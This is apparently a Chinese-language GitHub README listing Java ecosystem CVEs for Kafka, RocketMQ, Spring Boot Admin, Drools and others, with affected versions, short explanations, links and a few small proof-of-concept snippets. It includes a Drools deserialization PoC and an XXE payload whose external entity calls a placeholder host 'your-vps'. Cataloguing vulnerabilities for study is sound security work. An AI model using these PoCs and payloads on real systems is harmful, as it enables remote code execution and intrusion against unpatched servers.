Java-CVE-Lists

这个仓库主要用于记录一些Java生态的CVE简要说明、利用条件以及相关学习文章。比较简单的CVE会给出简易poc。值得注意的是，本仓库关注的是目前主流的Java技术中存在的历史漏洞，而不是老古董。（持续更新中...）如有建议入选漏洞，欢迎👏提出issue👀。

• Java-CVE-Lists
  • CobaltStrike
    • CVE-2022-39197
  • Kafka
    • CVE-2023-25194
  • Apache Xalan Java XSLT
    • CVE-2022-34169
  • RocketMQ
    • CVE-2019-17572(目录穿越)
    • CVE-2023-33246(命令注入)
  • Spring-boot-Admin
    • CVE-2022-46166(spel注入)
  • Drools
    • CVE-2022-1415
    • CVE-2021-41411

---

CobaltStrike

CVE-2022-39197

利用条件

Cobalt Strike < 4.7.1

漏洞说明

• Cobalt Strike反制RCE

漏洞分析

• https://lorexxar.cn/2022/11/02/cs-xss2rce/

漏洞复现pdf

• https://github.com/luelueking/Java-CVE-Lists/blob/main/CVE-2022-39197/

---

Kafka

CVE-2023-25194

利用条件

Apache Kafka 2.3.0 - 3.3.2

漏洞说明

• 使用 KAFKA CONNECT通过SASL JAAS JNDILOGIN模块化配置可能进行RCE/拒绝服务攻击

漏洞环境及poc

• https://github.com/luelueking/Java-CVE-Lists/tree/main/CVE-2023-25194

漏洞原理(利用链)

new KafkaProducer<>(props)
	-> KafkaProducer#KafkaProducer(...)
		-> KafkaProducer#newSender(logContext, kafkaClient, this.metadata)
			-> ClientUtils#createChannelBuilder(this.producerConfig, this.time, logContext)
				-> ChannelBuilders#clientChannelBuilder(...)
					-> ChannelBuilders#create(...)
						-> ((ChannelBuilder)channelBuilder)#configure(configs)
							-> LoginManager#acquireLoginManager(...)
								-> new LoginManager(jaasContext, saslMechanism, configs, loginMetadata)
									-> LoginContext#login()
										-> LoginContext#invokePriv(LOGIN_METHOD)
											-> LoginContext#invoke(methodName)
												-> JndiLoginModule#login()
													-> JndiLoginModule#attemptAuthentication(true)
														-> InitialContext#lookup(userProvider)

---

Apache Xalan Java XSLT

CVE-2022-34169

利用条件

只要有 XML xslt 转换使用场景

漏洞说明

• 把xslt转换成class的时候存在溢出，导致攻击者可以上传精心构造的恶意xslt，通过xalan转换后得到恶意的class，这个过程中，恶意的class会被实例化导致代码执行。

漏洞分析

• https://blog.noah.360.net/xalan-j-integer-truncation-reproduce-cve-2022-34169/

推荐工具

• https://github.com/flowerwind/AutoGenerateXalanPayload

---

RocketMQ

CVE-2019-17572(目录穿越)

利用条件

RocketMQ4.6.0 最新版本

autoCreateTopicEnable=true默认设置

漏洞说明

• 自动创建主题时存在目录穿越，可以达到任意创建新文件夹的效果。

漏洞分析

• https://github.com/luelueking/Java-CVE-Lists/tree/main/CVE-2019-17572

CVE-2023-33246(命令注入)

利用条件

RocketMQ < 5.1.0 broker可访问

漏洞复现

• 已加入vulnhub

漏洞分析

• http://www.luelueking.com/archives/1685365115921

---

Spring-boot-Admin

CVE-2022-46166(spel注入)

利用条件

Affected versions

< 2.6.10

< 2.7.8

< 3.0.0-M6

漏洞说明

• spring-boot-admin的消息通知器中message可以执行任意spel表达式导致代码注入

漏洞环境及详情

• https://github.com/luelueking/Java-CVE-Lists/tree/main/CVE-2022-46166/

---

Drools

CVE-2022-1415

利用条件

Affected versions < drools 7.69.0.Final

漏洞说明

• drools中没有对streamUtils直接调用ObjectInputStream的readObject()方法并且没有进行限制，可能成为反序列化的入口

简易poc

        // 使用URLDNS链生成payload.txt
        FileInputStream in = new FileInputStream("payload.txt");
        KnowledgeBuilderImpl builder = new KnowledgeBuilderImpl();
        Resource resource = new InputStreamResource(in);
        builder.addKnowledgeResource(resource, ResourceType.PKG,null);

CVE-2021-41411

利用条件

Affected versions < drools 7.59.0.Final

漏洞说明

• XML External Entity (XXE) vulnerability in KieModuleMarshaller.java. The Validator class is not used correctly

简易poc

        FileInputStream fileInputStream = new FileInputStream("payload.xml");
        KieModuleModelImpl.fromXML(fileInputStream);

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
        <!ENTITY xxe SYSTEM "http://your-vps">
        ]>
<evil>&xxe;</evil>